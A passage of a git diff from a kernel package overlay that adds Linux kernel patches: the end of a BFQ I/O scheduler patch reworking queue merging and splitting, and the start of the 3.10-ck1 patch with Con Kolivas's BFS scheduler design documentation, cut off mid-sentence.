++	bic_set_bfqq(bic, new_bfqq, 1);
++	bfq_mark_bfqq_coop(new_bfqq);
++	/*
++	 * new_bfqq now belongs to at least two bics (it is a shared queue): set
++	 * new_bfqq->bic to NULL. bfqq either:
++	 * - does not belong to any bic any more, and hence bfqq->bic must
++	 *   be set to NULL, or
++	 * - is a queue whose owning bics have already been redirected to a
++	 *   different queue, hence the queue is destined to not belong to any
++	 *   bic soon and bfqq->bic is already NULL (therefore the next
++	 *   assignment causes no harm).
++	 */
++	new_bfqq->bic = NULL;
++	bfqq->bic = NULL;
++	bfq_put_queue(bfqq);
++}
++
++static int bfq_allow_merge(struct request_queue *q, struct request *rq,
++			   struct bio *bio)
++{
++	struct bfq_data *bfqd = q->elevator->elevator_data;
++	struct bfq_io_cq *bic;
++	struct bfq_queue *bfqq, *new_bfqq;
++
++	/*
++	 * Disallow merge of a sync bio into an async request.
++	 */
++	if (bfq_bio_sync(bio) && !rq_is_sync(rq))
++		return 0;
++
++	/*
++	 * Lookup the bfqq that this bio will be queued with. Allow
++	 * merge only if rq is queued there.
++	 * Queue lock is held here.
++	 */
++	bic = bfq_bic_lookup(bfqd, current->io_context);
++	if (bic == NULL)
++		return 0;
++
++	bfqq = bic_to_bfqq(bic, bfq_bio_sync(bio));
++	/*
++	 * We take advantage of this function to perform an early merge
++	 * of the queues of possible cooperating processes.
++	 */
++	if (bfqq != NULL) {
++		new_bfqq = bfq_setup_cooperator(bfqd, bfqq, bio, false);
++		if (new_bfqq != NULL) {
++			bfq_merge_bfqqs(bfqd, bic, bfqq, new_bfqq);
++			/*
++			 * If we get here, the bio will be queued in the shared queue,
++			 * i.e., new_bfqq, so use new_bfqq to decide whether bio and
++			 * rq can be merged.
++			 */
++			bfqq = new_bfqq;
++		}
++	}
++
++	return bfqq == RQ_BFQQ(rq);
++}
++
++static void __bfq_set_in_service_queue(struct bfq_data *bfqd,
++				       struct bfq_queue *bfqq)
++{
++	if (bfqq != NULL) {
++		bfq_mark_bfqq_must_alloc(bfqq);
++		bfq_mark_bfqq_budget_new(bfqq);
++		bfq_clear_bfqq_fifo_expire(bfqq);
++
++		bfqd->budgets_assigned = (bfqd->budgets_assigned*7 + 256) / 8;
++
++		bfq_log_bfqq(bfqd, bfqq,
++			     "set_in_service_queue, cur-budget = %lu",
++			     bfqq->entity.budget);
++	}
++
++	bfqd->in_service_queue = bfqq;
++}
++
++/*
++ * Get and set a new queue for service.
++ */
++static struct bfq_queue *bfq_set_in_service_queue(struct bfq_data *bfqd)
++{
++	struct bfq_queue *bfqq = bfq_get_next_queue(bfqd);
++
++	__bfq_set_in_service_queue(bfqd, bfqq);
++	return bfqq;
++}
++
+ /*
+  * If enough samples have been computed, return the current max budget
+  * stored in bfqd, which is dynamically updated according to the
+@@ -1077,63 +1345,6 @@ static struct request *bfq_check_fifo(struct bfq_queue *bfqq)
+ 	return rq;
+ }
+ 
+-/*
+- * Must be called with the queue_lock held.
+- */
+-static int bfqq_process_refs(struct bfq_queue *bfqq)
+-{
+-	int process_refs, io_refs;
+-
+-	io_refs = bfqq->allocated[READ] + bfqq->allocated[WRITE];
+-	process_refs = atomic_read(&bfqq->ref) - io_refs - bfqq->entity.on_st;
+-	BUG_ON(process_refs < 0);
+-	return process_refs;
+-}
+-
+-static void bfq_setup_merge(struct bfq_queue *bfqq, struct bfq_queue *new_bfqq)
+-{
+-	int process_refs, new_process_refs;
+-	struct bfq_queue *__bfqq;
+-
+-	/*
+-	 * If there are no process references on the new_bfqq, then it is
+-	 * unsafe to follow the ->new_bfqq chain as other bfqq's in the chain
+-	 * may have dropped their last reference (not just their last process
+-	 * reference).
+-	 */
+-	if (!bfqq_process_refs(new_bfqq))
+-		return;
+-
+-	/* Avoid a circular list and skip interim queue merges. */
+-	while ((__bfqq = new_bfqq->new_bfqq)) {
+-		if (__bfqq == bfqq)
+-			return;
+-		new_bfqq = __bfqq;
+-	}
+-
+-	process_refs = bfqq_process_refs(bfqq);
+-	new_process_refs = bfqq_process_refs(new_bfqq);
+-	/*
+-	 * If the process for the bfqq has gone away, there is no
+-	 * sense in merging the queues.
+-	 */
+-	if (process_refs == 0 || new_process_refs == 0)
+-		return;
+-
+-	/*
+-	 * Merge in the direction of the lesser amount of work.
+-	 */
+-	if (new_process_refs >= process_refs) {
+-		bfqq->new_bfqq = new_bfqq;
+-		atomic_add(process_refs, &new_bfqq->ref);
+-	} else {
+-		new_bfqq->new_bfqq = bfqq;
+-		atomic_add(new_process_refs, &bfqq->ref);
+-	}
+-	bfq_log_bfqq(bfqq->bfqd, bfqq, "scheduling merge with queue %d",
+-		new_bfqq->pid);
+-}
+-
+ static inline unsigned long bfq_bfqq_budget_left(struct bfq_queue *bfqq)
+ {
+ 	struct bfq_entity *entity = &bfqq->entity;
+@@ -1703,7 +1914,7 @@ static inline bool bfq_bfqq_must_idle(struct bfq_queue *bfqq)
+  */
+ static struct bfq_queue *bfq_select_queue(struct bfq_data *bfqd)
+ {
+-	struct bfq_queue *bfqq, *new_bfqq = NULL;
++	struct bfq_queue *bfqq;
+ 	struct request *next_rq;
+ 	enum bfqq_expiration reason = BFQ_BFQQ_BUDGET_TIMEOUT;
+ 
+@@ -1713,17 +1924,6 @@ static struct bfq_queue *bfq_select_queue(struct bfq_data *bfqd)
+ 
+ 	bfq_log_bfqq(bfqd, bfqq, "select_queue: already in-service queue");
+ 
+-	/*
+-         * If another queue has a request waiting within our mean seek
+-         * distance, let it run. The expire code will check for close
+-         * cooperators and put the close queue at the front of the
+-         * service tree. If possible, merge the expiring queue with the
+-         * new bfqq.
+-         */
+-        new_bfqq = bfq_close_cooperator(bfqd, bfqq);
+-        if (new_bfqq != NULL && bfqq->new_bfqq == NULL)
+-                bfq_setup_merge(bfqq, new_bfqq);
+-
+ 	if (bfq_may_expire_for_budg_timeout(bfqq) &&
+ 	    !timer_pending(&bfqd->idle_slice_timer) &&
+ 	    !bfq_bfqq_must_idle(bfqq))
+@@ -1760,36 +1960,26 @@ static struct bfq_queue *bfq_select_queue(struct bfq_data *bfqd)
+ 				bfq_clear_bfqq_wait_request(bfqq);
+ 				del_timer(&bfqd->idle_slice_timer);
+ 			}
+-			if (new_bfqq == NULL)
+-				goto keep_queue;
+-			else
+-				goto expire;
++			goto keep_queue;
+ 		}
+ 	}
+ 
+ 	/*
+-	 * No requests pending.  If the in-service queue has no cooperator and
+-	 * still has requests in flight (possibly waiting for a completion)
+-	 * or is idling for a new request, then keep it.
++	 * No requests pending.  If the in-service queue still has requests in
++	 * flight (possibly waiting for a completion) or is idling for a new
++	 * request, then keep it.
+ 	 */
+-	if (new_bfqq == NULL && (timer_pending(&bfqd->idle_slice_timer) ||
+-	    (bfqq->dispatched != 0 && bfq_bfqq_must_not_expire(bfqq)))) {
++	if (timer_pending(&bfqd->idle_slice_timer) ||
++	    (bfqq->dispatched != 0 && bfq_bfqq_must_not_expire(bfqq))) {
+ 		bfqq = NULL;
+ 		goto keep_queue;
+-	} else if (new_bfqq != NULL && timer_pending(&bfqd->idle_slice_timer)) {
+-		/*
+-		 * Expiring the queue because there is a close cooperator,
+-		 * cancel timer.
+-		 */
+-		bfq_clear_bfqq_wait_request(bfqq);
+-		del_timer(&bfqd->idle_slice_timer);
+ 	}
+ 
+ 	reason = BFQ_BFQQ_NO_MORE_REQUESTS;
+ expire:
+ 	bfq_bfqq_expire(bfqd, bfqq, 0, reason);
+ new_queue:
+-	bfqq = bfq_set_in_service_queue(bfqd, new_bfqq);
++	bfqq = bfq_set_in_service_queue(bfqd);
+ 	bfq_log(bfqd, "select_queue: new queue %d returned",
+ 		bfqq != NULL ? bfqq->pid : 0);
+ keep_queue:
+@@ -1799,9 +1989,8 @@ keep_queue:
+ static void bfq_update_raising_data(struct bfq_data *bfqd,
+ 				    struct bfq_queue *bfqq)
+ {
++	struct bfq_entity *entity = &bfqq->entity;
+ 	if (bfqq->raising_coeff > 1) { /* queue is being boosted */
+-		struct bfq_entity *entity = &bfqq->entity;
+-
+ 		bfq_log_bfqq(bfqd, bfqq,
+ 			"raising period dur %u/%u msec, "
+ 			"old raising coeff %u, w %d(%d)",
+@@ -1818,7 +2007,7 @@ static void bfq_update_raising_data(struct bfq_data *bfqd,
+ 			"WARN: pending prio change");
+ 		/*
+ 		 * If too much time has elapsed from the beginning
+-		 * of this weight-raising, stop it.
++		 * of this weight-raising period, stop it.
+ 		 */
+ 		if (jiffies - bfqq->last_rais_start_finish >
+ 			bfqq->raising_cur_max_time) {
+@@ -1830,11 +2019,13 @@ static void bfq_update_raising_data(struct bfq_data *bfqd,
+ 				     jiffies_to_msecs(bfqq->
+ 					raising_cur_max_time));
+ 			bfq_bfqq_end_raising(bfqq);
+-			__bfq_entity_update_weight_prio(
+-				bfq_entity_service_tree(entity),
+-				entity);
+ 		}
+ 	}
++	/* Update weight both if it must be raised and if it must be lowered */
++	if ((entity->weight > entity->orig_weight) != (bfqq->raising_coeff > 1))
++		__bfq_entity_update_weight_prio(
++			bfq_entity_service_tree(entity),
++			entity);
+ }
+ 
+ /*
+@@ -2075,6 +2266,25 @@ static void bfq_init_icq(struct io_cq *icq)
+ 	struct bfq_io_cq *bic = icq_to_bic(icq);
+ 
+ 	bic->ttime.last_end_request = jiffies;
++	/*
++	 * A newly created bic indicates that the process has just
++	 * started doing I/O, and is probably mapping into memory its
++	 * executable and libraries: it definitely needs weight raising.
++	 * There is however the possibility that the process performs,
++	 * for a while, I/O close to some other process. EQM intercepts
++	 * this behavior and may merge the queue corresponding to the
++	 * process  with some other queue, BEFORE the weight of the queue
++	 * is raised. Merged queues are not weight-raised (they are assumed
++	 * to belong to processes that benefit only from high throughput).
++	 * If the merge is basically the consequence of an accident, then
++	 * the queue will be split soon and will get back its old weight.
++	 * It is then important to write down somewhere that this queue
++	 * does need weight raising, even if it did not make it to get its
++	 * weight raised before being merged. To this purpose, we overload
++	 * the field raising_time_left and assign 1 to it, to mark the queue
++	 * as needing weight raising.
++	 */
++	bic->raising_time_left = 1;
+ }
+ 
+ static void bfq_exit_icq(struct io_cq *icq)
+@@ -2088,6 +2298,13 @@ static void bfq_exit_icq(struct io_cq *icq)
+ 	}
+ 
+ 	if (bic->bfqq[BLK_RW_SYNC]) {
++		/*
++		 * If the bic is using a shared queue, put the reference
++		 * taken on the io_context when the bic started using a
++		 * shared bfq_queue.
++		 */
++		if (bfq_bfqq_coop(bic->bfqq[BLK_RW_SYNC]))
++			put_io_context(icq->ioc);
+ 		bfq_exit_bfqq(bfqd, bic->bfqq[BLK_RW_SYNC]);
+ 		bic->bfqq[BLK_RW_SYNC] = NULL;
+ 	}
+@@ -2375,6 +2592,10 @@ static void bfq_update_idle_window(struct bfq_data *bfqd,
+ 	if (!bfq_bfqq_sync(bfqq) || bfq_class_idle(bfqq))
+ 		return;
+ 
++	/* Idle window just restored, statistics are meaningless. */
++	if (bfq_bfqq_just_split(bfqq))
++		return;
++
+ 	enable_idle = bfq_bfqq_idle_window(bfqq);
+ 
+ 	if (atomic_read(&bic->icq.ioc->active_ref) == 0 ||
+@@ -2415,6 +2636,7 @@ static void bfq_rq_enqueued(struct bfq_data *bfqd, struct bfq_queue *bfqq,
+ 	if (bfqq->entity.service > bfq_max_budget(bfqd) / 8 ||
+ 	    !BFQQ_SEEKY(bfqq))
+ 		bfq_update_idle_window(bfqd, bfqq, bic);
++	bfq_clear_bfqq_just_split(bfqq);
+ 
+ 	bfq_log_bfqq(bfqd, bfqq,
+ 		     "rq_enqueued: idle_window=%d (seeky %d, mean %llu)",
+@@ -2475,13 +2697,48 @@ static void bfq_rq_enqueued(struct bfq_data *bfqd, struct bfq_queue *bfqq,
+ static void bfq_insert_request(struct request_queue *q, struct request *rq)
+ {
+ 	struct bfq_data *bfqd = q->elevator->elevator_data;
+-	struct bfq_queue *bfqq = RQ_BFQQ(rq);
++	struct bfq_queue *bfqq = RQ_BFQQ(rq), *new_bfqq;
+ 
+ 	assert_spin_locked(bfqd->queue->queue_lock);
++
++	/*
++	 * An unplug may trigger a requeue of a request from the device
++	 * driver: make sure we are in process context while trying to
++	 * merge two bfq_queues.
++	 */
++	if (!in_interrupt()) {
++		new_bfqq = bfq_setup_cooperator(bfqd, bfqq, rq, true);
++		if (new_bfqq != NULL) {
++			if (bic_to_bfqq(RQ_BIC(rq), 1) != bfqq)
++				new_bfqq = bic_to_bfqq(RQ_BIC(rq), 1);
++			/*
++			 * Release the request's reference to the old bfqq
++			 * and make sure one is taken to the shared queue.
++			 */
++			new_bfqq->allocated[rq_data_dir(rq)]++;
++			bfqq->allocated[rq_data_dir(rq)]--;
++			atomic_inc(&new_bfqq->ref);
++			bfq_put_queue(bfqq);
++			if (bic_to_bfqq(RQ_BIC(rq), 1) == bfqq)
++				bfq_merge_bfqqs(bfqd, RQ_BIC(rq),
++						bfqq, new_bfqq);
++			rq->elv.priv[1] = new_bfqq;
++			bfqq = new_bfqq;
++		}
++	}
++
+ 	bfq_init_prio_data(bfqq, RQ_BIC(rq));
+ 
+ 	bfq_add_rq_rb(rq);
+ 
++	/*
++	 * Here a newly-created bfq_queue has already started a weight-raising
++	 * period: clear raising_time_left to prevent bfq_bfqq_save_state()
++	 * from assigning it a full weight-raising period. See the detailed
++	 * comments about this field in bfq_init_icq().
++	 */
++	if (bfqq->bic != NULL)
++		bfqq->bic->raising_time_left = 0;
+ 	rq_set_fifo_time(rq, jiffies + bfqd->bfq_fifo_expire[rq_is_sync(rq)]);
+ 	list_add_tail(&rq->queuelist, &bfqq->fifo);
+ 
+@@ -2629,18 +2886,6 @@ static void bfq_put_request(struct request *rq)
+ 	}
+ }
+ 
+-static struct bfq_queue *
+-bfq_merge_bfqqs(struct bfq_data *bfqd, struct bfq_io_cq *bic,
+-		struct bfq_queue *bfqq)
+-{
+-	bfq_log_bfqq(bfqd, bfqq, "merging with queue %lu",
+-		(long unsigned)bfqq->new_bfqq->pid);
+-	bic_set_bfqq(bic, bfqq->new_bfqq, 1);
+-	bfq_mark_bfqq_coop(bfqq->new_bfqq);
+-	bfq_put_queue(bfqq);
+-	return bic_to_bfqq(bic, 1);
+-}
+-
+ /*
+  * Returns NULL if a new bfqq should be allocated, or the old bfqq if this
+  * was the last process referring to said bfqq.
+@@ -2649,6 +2894,9 @@ static struct bfq_queue *
+ bfq_split_bfqq(struct bfq_io_cq *bic, struct bfq_queue *bfqq)
+ {
+ 	bfq_log_bfqq(bfqq->bfqd, bfqq, "splitting queue");
++
++	put_io_context(bic->icq.ioc);
++
+ 	if (bfqq_process_refs(bfqq) == 1) {
+ 		bfqq->pid = current->pid;
+ 		bfq_clear_bfqq_coop(bfqq);
+@@ -2677,6 +2925,7 @@ static int bfq_set_request(struct request_queue *q, struct request *rq,
+ 	struct bfq_queue *bfqq;
+ 	struct bfq_group *bfqg;
+ 	unsigned long flags;
++	bool split = false;
+ 
+ 	might_sleep_if(gfp_mask & __GFP_WAIT);
+ 
+@@ -2695,24 +2944,14 @@ new_queue:
+ 		bfqq = bfq_get_queue(bfqd, bfqg, is_sync, bic, gfp_mask);
+ 		bic_set_bfqq(bic, bfqq, is_sync);
+ 	} else {
+-		/*
+-		 * If the queue was seeky for too long, break it apart.
+-		 */
++		/* If the queue was seeky for too long, break it apart. */
+ 		if (bfq_bfqq_coop(bfqq) && bfq_bfqq_split_coop(bfqq)) {
+ 			bfq_log_bfqq(bfqd, bfqq, "breaking apart bfqq");
+ 			bfqq = bfq_split_bfqq(bic, bfqq);
++			split = true;
+ 			if (!bfqq)
+ 				goto new_queue;
+ 		}
+-
+-		/*
+-		 * Check to see if this queue is scheduled to merge with
+-		 * another closely cooperating queue. The merging of queues
+-		 * happens here as it must be done in process context.
+-		 * The reference on new_bfqq was taken in merge_bfqqs.
+-		 */
+-		if (bfqq->new_bfqq != NULL)
+-			bfqq = bfq_merge_bfqqs(bfqd, bic, bfqq);
+ 	}
+ 
+ 	bfqq->allocated[rw]++;
+@@ -2723,6 +2962,26 @@ new_queue:
+ 	rq->elv.priv[0] = bic;
+ 	rq->elv.priv[1] = bfqq;
+ 
++	/*
++	 * If a bfq_queue has only one process reference, it is owned
++	 * by only one bfq_io_cq: we can set the bic field of the
++	 * bfq_queue to the address of that structure. Also, if the
++	 * queue has just been split, mark a flag so that the
++	 * information is available to the other scheduler hooks.
++	 */
++	if (bfqq_process_refs(bfqq) == 1) {
++		bfqq->bic = bic;
++		if (split) {
++			bfq_mark_bfqq_just_split(bfqq);
++			/*
++			 * If the queue has just been split from a shared queue,
++			 * restore the idle window and the possible weight
++			 * raising period.
++			 */
++			bfq_bfqq_resume_state(bfqq, bic);
++		}
++	}
++
+ 	spin_unlock_irqrestore(q->queue_lock, flags);
+ 
+ 	return 0;
+diff --git a/block/bfq-sched.c b/block/bfq-sched.c
+index 30df81c..47e66a8 100644
+--- a/block/bfq-sched.c
++++ b/block/bfq-sched.c
+@@ -979,34 +979,6 @@ static struct bfq_queue *bfq_get_next_queue(struct bfq_data *bfqd)
+ 	return bfqq;
+ }
+ 
+-/*
+- * Forced extraction of the given queue.
+- */
+-static void bfq_get_next_queue_forced(struct bfq_data *bfqd,
+-				      struct bfq_queue *bfqq)
+-{
+-	struct bfq_entity *entity;
+-	struct bfq_sched_data *sd;
+-
+-	BUG_ON(bfqd->in_service_queue != NULL);
+-
+-	entity = &bfqq->entity;
+-	/*
+-	 * Bubble up extraction/update from the leaf to the root.
+-	*/
+-	for_each_entity(entity) {
+-		sd = entity->sched_data;
+-		bfq_update_budget(entity);
+-		bfq_update_vtime(bfq_entity_service_tree(entity));
+-		bfq_active_extract(bfq_entity_service_tree(entity), entity);
+-		sd->active_entity = entity;
+-		sd->next_active = NULL;
+-		entity->service = 0;
+-	}
+-
+-	return;
+-}
+-
+ static void __bfq_bfqd_reset_in_service(struct bfq_data *bfqd)
+ {
+ 	if (bfqd->in_service_bic != NULL) {
+diff --git a/block/bfq.h b/block/bfq.h
+index 78da7d2..b6ebc1d 100644
+--- a/block/bfq.h
++++ b/block/bfq.h
+@@ -192,6 +192,8 @@ struct bfq_group;
+  *                      idle to backlogged
+  * @service_from_backlogged: cumulative service received from the @bfq_queue
+  *                           since the last transition from idle to backlogged
++ * @bic: pointer to the bfq_io_cq owning the bfq_queue, set to %NULL if the
++ *	 queue is shared
+  *
+  * A bfq_queue is a leaf request queue; it can be associated to an io_context
+  * or more (if it is an async one).  @cgroup holds a reference to the
+@@ -235,6 +237,7 @@ struct bfq_queue {
+ 	sector_t last_request_pos;
+ 
+ 	pid_t pid;
++	struct bfq_io_cq *bic;
+ 
+ 	/* weight-raising fields */
+ 	unsigned int raising_cur_max_time;
+@@ -264,12 +267,23 @@ struct bfq_ttime {
+  * @icq: associated io_cq structure
+  * @bfqq: array of two process queues, the sync and the async
+  * @ttime: associated @bfq_ttime struct
++ * @raising_time_left: snapshot of the time left before weight raising ends
++ *		       for the sync queue associated to this process; this
++ *		       snapshot is taken to remember this value while the weight
++ *		       raising is suspended because the queue is merged with a
++ *		       shared queue, and is used to set @raising_cur_max_time
++ *		       when the queue is split from the shared queue and its
++ *		       weight is raised again
++ * @saved_idle_window: same purpose as the previous field for the idle window
+  */
+ struct bfq_io_cq {
+ 	struct io_cq icq; /* must be the first member */
+ 	struct bfq_queue *bfqq[2];
+ 	struct bfq_ttime ttime;
+ 	int ioprio;
++
++	unsigned int raising_time_left;
++	unsigned int saved_idle_window;
+ };
+ 
+ /**
+@@ -411,6 +425,7 @@ enum bfqq_state_flags {
+ 	BFQ_BFQQ_FLAG_budget_new,	/* no completion with this budget */
+ 	BFQ_BFQQ_FLAG_coop,		/* bfqq is shared */
+ 	BFQ_BFQQ_FLAG_split_coop,	/* shared bfqq will be splitted */
++	BFQ_BFQQ_FLAG_just_split,	/* queue has just been split */
+ 	BFQ_BFQQ_FLAG_softrt_update,	/* needs softrt-next-start update */
+ };
+ 
+@@ -438,6 +453,7 @@ BFQ_BFQQ_FNS(sync);
+ BFQ_BFQQ_FNS(budget_new);
+ BFQ_BFQQ_FNS(coop);
+ BFQ_BFQQ_FNS(split_coop);
++BFQ_BFQQ_FNS(just_split);
+ BFQ_BFQQ_FNS(softrt_update);
+ #undef BFQ_BFQQ_FNS
+ 
+-- 
+1.8.5.2
+
diff --git a/sys-kernel/kogaion-sources/files/desktop/3.10-ck1.patch b/sys-kernel/kogaion-sources/files/desktop/3.10-ck1.patch
new file mode 100644
index 00000000..1a9feb96
--- /dev/null
+++ b/sys-kernel/kogaion-sources/files/desktop/3.10-ck1.patch
@@ -0,0 +1,8732 @@
+// patch-3.10-ck1.patch
+Index: linux-3.10-ck1/arch/powerpc/platforms/cell/spufs/sched.c
+===================================================================
+--- linux-3.10-ck1.orig/arch/powerpc/platforms/cell/spufs/sched.c	2013-07-09 17:28:57.209502080 +1000
++++ linux-3.10-ck1/arch/powerpc/platforms/cell/spufs/sched.c	2013-07-09 17:29:00.837501924 +1000
+@@ -64,11 +64,6 @@
+ static struct timer_list spuloadavg_timer;
+ 
+ /*
+- * Priority of a normal, non-rt, non-niced'd process (aka nice level 0).
+- */
+-#define NORMAL_PRIO		120
+-
+-/*
+  * Frequency of the spu scheduler tick.  By default we do one SPU scheduler
+  * tick for every 10 CPU scheduler ticks.
+  */
+Index: linux-3.10-ck1/Documentation/scheduler/sched-BFS.txt
+===================================================================
+--- /dev/null	1970-01-01 00:00:00.000000000 +0000
++++ linux-3.10-ck1/Documentation/scheduler/sched-BFS.txt	2013-07-09 17:29:00.837501924 +1000
+@@ -0,0 +1,347 @@
++BFS - The Brain Fuck Scheduler by Con Kolivas.
++
++Goals.
++
++The goal of the Brain Fuck Scheduler, referred to as BFS from here on, is to
++completely do away with the complex designs of the past for the cpu process
++scheduler and instead implement one that is very simple in basic design.
++The main focus of BFS is to achieve excellent desktop interactivity and
++responsiveness without heuristics and tuning knobs that are difficult to
++understand, impossible to model and predict the effect of, and when tuned to
++one workload cause massive detriment to another.
++
++
++Design summary.
++
++BFS is best described as a single runqueue, O(n) lookup, earliest effective
++virtual deadline first design, loosely based on EEVDF (earliest eligible virtual
++deadline first) and my previous Staircase Deadline scheduler. Each component
++shall be described in order to understand the significance of, and reasoning for
++it. The codebase when the first stable version was released was approximately
++9000 lines less code than the existing mainline linux kernel scheduler (in
++2.6.31). This does not even take into account the removal of documentation and
++the cgroups code that is not used.
++
++Design reasoning.
++
++The single runqueue refers to the queued but not running processes for the
++entire system, regardless of the number of CPUs. The reason for going back to
++a single runqueue design is that once multiple runqueues are introduced,
++per-CPU or otherwise, there will be complex interactions as each runqueue will
++be responsible for the scheduling latency and fairness of the tasks only on its
++own runqueue, and to achieve fairness and low latency across multiple CPUs, any
++advantage in throughput of having CPU local tasks causes other disadvantages.
++This is due to requiring a very complex balancing system to at best achieve some
++semblance of fairness across CPUs and can only maintain relatively low latency
++for tasks bound to the same CPUs, not across them. To increase said fairness
++and latency across CPUs, the advantage of local runqueue locking, which makes
++for better scalability, is lost due to having to grab multiple locks.
++
++A significant feature of BFS is that all accounting is done purely based on CPU
++used and nowhere is sleep time used in any way to determine entitlement or
++interactivity. Interactivity "estimators" that use some kind of sleep/run
++algorithm are doomed to fail to detect all interactive tasks, and to falsely tag
++tasks that aren't interactive as being so. The reason for this is that it is
++close to impossible to determine that when a task is sleeping, whether it is
++doing it voluntarily, as in a userspace application waiting for input in the
++form of a mouse click or otherwise, or involuntarily, because it is waiting for
++another thread, process, I/O, kernel activity or whatever. Thus, such an
++estimator will introduce corner cases, and more heuristics will be required to
++cope with those corner cases, introducing more corner cases and failed
++interactivity detection and so on. Interactivity in BFS is built into the design
++by virtue of the fact that tasks that are waking up have not used up their quota
++of CPU time, and have earlier effective deadlines, thereby making it very likely
++they will preempt any CPU bound task of equivalent nice level. See below for
++more information on the virtual deadline mechanism. Even if they do not preempt
++a running task, because the rr interval is guaranteed to have a bound upper
++limit on how long a task will wait for, it will be scheduled within a timeframe
++that will not cause visible interface jitter.
++
++
++Design details.
++
++Task insertion.
++
++BFS inserts tasks into each relevant queue as an O(1) insertion into a double
++linked list. On insertion, *every* running queue is checked to see if the newly
++queued task can run on any idle queue, or preempt the lowest running task on the
++system. This is how the cross-CPU scheduling of BFS achieves significantly lower
++latency per extra CPU the system has. In this case the lookup is, in the worst
++case scenario, O(n) where n is the number of CPUs on the system.
++
++Data protection.
++
++BFS has one single lock protecting the process local data of every task in the
++global queue. Thus every insertion, removal and modification of task data in the
++global runqueue needs to grab the global lock. However, once a task is taken by
++a CPU, the CPU has its own local data copy of the running process' accounting
++information which only that CPU accesses and modifies (such as during a
++timer tick) thus allowing the accounting data to be updated lockless. Once a
++CPU has taken a task to run, it removes it from the global queue. Thus the
++global queue only ever has, at most,
++
++	(number of tasks requesting cpu time) - (number of logical CPUs) + 1
++
++tasks in the global queue. This value is relevant for the time taken to look up
++tasks during scheduling. This will increase if many tasks with CPU affinity set
++in their policy to limit which CPUs they're allowed to run on if they outnumber
++the number of CPUs. The +1 is because when rescheduling a task, the CPU's
++currently running task is put back on the queue. Lookup will be described after
++the virtual deadline mechanism is explained.
++
++Virtual deadline.
++
++The key to achieving low latency, scheduling fairness, and "nice level"
++distribution in BFS is entirely in the virtual deadline mechanism. The one
++tunable in BFS is the rr_interval, or "round robin interval". This is the
++maximum time two SCHED_OTHER (or SCHED_NORMAL, the common scheduling policy)
++tasks of the same nice level will be running for, or looking at it the other
++way around, the longest duration two tasks of the same nice level will be
++delayed for. When a task requests cpu time, it is given a quota (time_slice)
++equal to the rr_interval and a virtual deadline. The virtual deadline is
++offset from the current time in jiffies by this equation:
++
++	jiffies + (prio_ratio * rr_interval)
++
++The prio_ratio is determined as a ratio compared to the baseline of nice -20
++and increases by 10% per nice level. The deadline is a virtual one only in that
++no guarantee is placed that a task will actually be scheduled by this time, but
++it is used to compare which task should go next. There are three components to
++how a task is next chosen. First is time_slice expiration. If a task runs out
++of its time_slice, it is descheduled, the time_slice is refilled, and the
++deadline reset to that formula above. Second is sleep, where a task no longer
++is requesting CPU for whatever reason. The time_slice and deadline are _not_
++adjusted in this case and are just carried over for when the task is next
++scheduled. Third is preemption, and that is when a newly waking task is deemed
++higher priority than a currently running task on any cpu by virtue of the fact
++that it has an earlier virtual deadline than the currently running task. The
++earlier deadline is the key to which task is next chosen for the first and
++second cases. Once a task is descheduled, it is put back on the queue, and an
++O(n) lookup of all queued-but-not-running tasks is done to determine which has
++the earliest deadline and that task is chosen to receive CPU next.
++
++The CPU proportion of different nice tasks works out to be approximately the
++
++	(prio_ratio difference)^2
++
++The reason it is squared is that a task's deadline does not change while it is
++running unless it runs out of time_slice. Thus, even if the time actually
++passes the deadline of another task that is queued, it will not get CPU time
++unless the current running task deschedules, and the time "base" (jiffies) is
++constantly moving.
++
++Task lookup.
++
++BFS has 103 priority queues. 100 of these are dedicated to the static priority
++of realtime tasks, and the remaining 3 are, in order of best to worst priority,
++SCHED_ISO (isochronous), SCHED_NORMAL, and SCHED_IDLEPRIO (idle priority
++scheduling). When a task of these priorities is queued, a bitmap of running
++priorities is set showing which of these priorities has tasks waiting for CPU
++time. When a CPU is made to reschedule, the lookup for the next task to get
++CPU time is performed in the following way:
++
++First the bitmap is checked to see what static priority tasks are queued. If
++any realtime priorities are found, the corresponding queue is checked and the
++first task listed there is taken (provided CPU affinity is suitable) and lookup
++is complete. If the priority corresponds to a SCHED_ISO task, they are also
++taken in FIFO order (as they behave like SCHED_RR). If the priority corresponds
++to either SCHED_NORMAL or SCHED_IDLEPRIO, then the lookup becomes O(n). At this
++stage, every task in the runlist that corresponds to that priority is checked
++to see which has the earliest set deadline, and (provided it has suitable CPU
++affinity) it is taken off the runqueue and given the CPU. If a task has an
++expired deadline, it is taken and the rest of the lookup aborted (as they are
++chosen in FIFO order).
++
++Thus, the lookup is O(n) in the worst case only, where n is as described
++earlier, as tasks may be chosen before the whole task list is looked over.
++
++
++Scalability.
++
++The major limitations of BFS will be that of scalability, as the separate
++runqueue designs will have less lock contention as the number of CPUs rises.
++However they do not scale linearly even with separate runqueues as multiple
++runqueues will need to be locked concurrently on such designs to be able to
++achieve fair CPU balancing, to try and achieve some sort of nice-level fairness
++across CPUs, and to achieve low enough latency for tasks on a busy CPU when
++other CPUs would be more suited. BFS has the advantage that it requires no
++balancing algorithm whatsoever, as balancing occurs by proxy simply because
++all CPUs draw off the global runqueue, in priority and deadline order. Despite
++the fact that scalability is _not_ the prime concern of BFS, it both shows very
++good scalability to smaller numbers of CPUs and is likely a more scalable design
++at these numbers of CPUs.
++
++It also has some very low overhead scalability features built into the design
++when it has been deemed their overhead is so marginal that they're worth adding.
++The first is the local copy of the running process' data to the CPU it's running
++on to allow that data to be updated lockless where possible. Then there is
++deference paid to the last CPU a task was running on, by trying that CPU first
++when looking for an idle CPU to use the next time it's scheduled. Finally there
++is the notion of "sticky" tasks that are flagged when they are involuntarily
++descheduled, meaning they still want further CPU time. This sticky flag is
++used to bias heavily against those tasks being scheduled on a different CPU
++unless that CPU would be otherwise idle. When a cpu frequency governor is used
++that scales with CPU load, such as ondemand, sticky tasks are not scheduled
++on a different CPU at all, preferring instead to go idle. This means the CPU
++they were bound to is more likely to increase its speed while the other CPU
++will go idle, thus speeding up total task execution time and likely decreasing
++power usage. This is the only scenario where BFS will allow a CPU to go idle
++in preference to scheduling a task on the earliest available spare CPU.
++
++The real cost of migrating a task from one CPU to another is entirely dependant
++on the cache footprint of the task, how cache intensive the task is, how long
++it's been running on that CPU to take up the bulk of its cache, how big the CPU
++cache is, how fast and how layered the CPU cache is, how fast a context switch
++is... and so on. In other words, it's close to random in the real world where we
++do more than just one sole workload. The only thing we can be sure of is that
++it's not free. So BFS uses the principle that an idle CPU is a wasted CPU and
++utilising idle CPUs is more important than cache locality, and cache locality
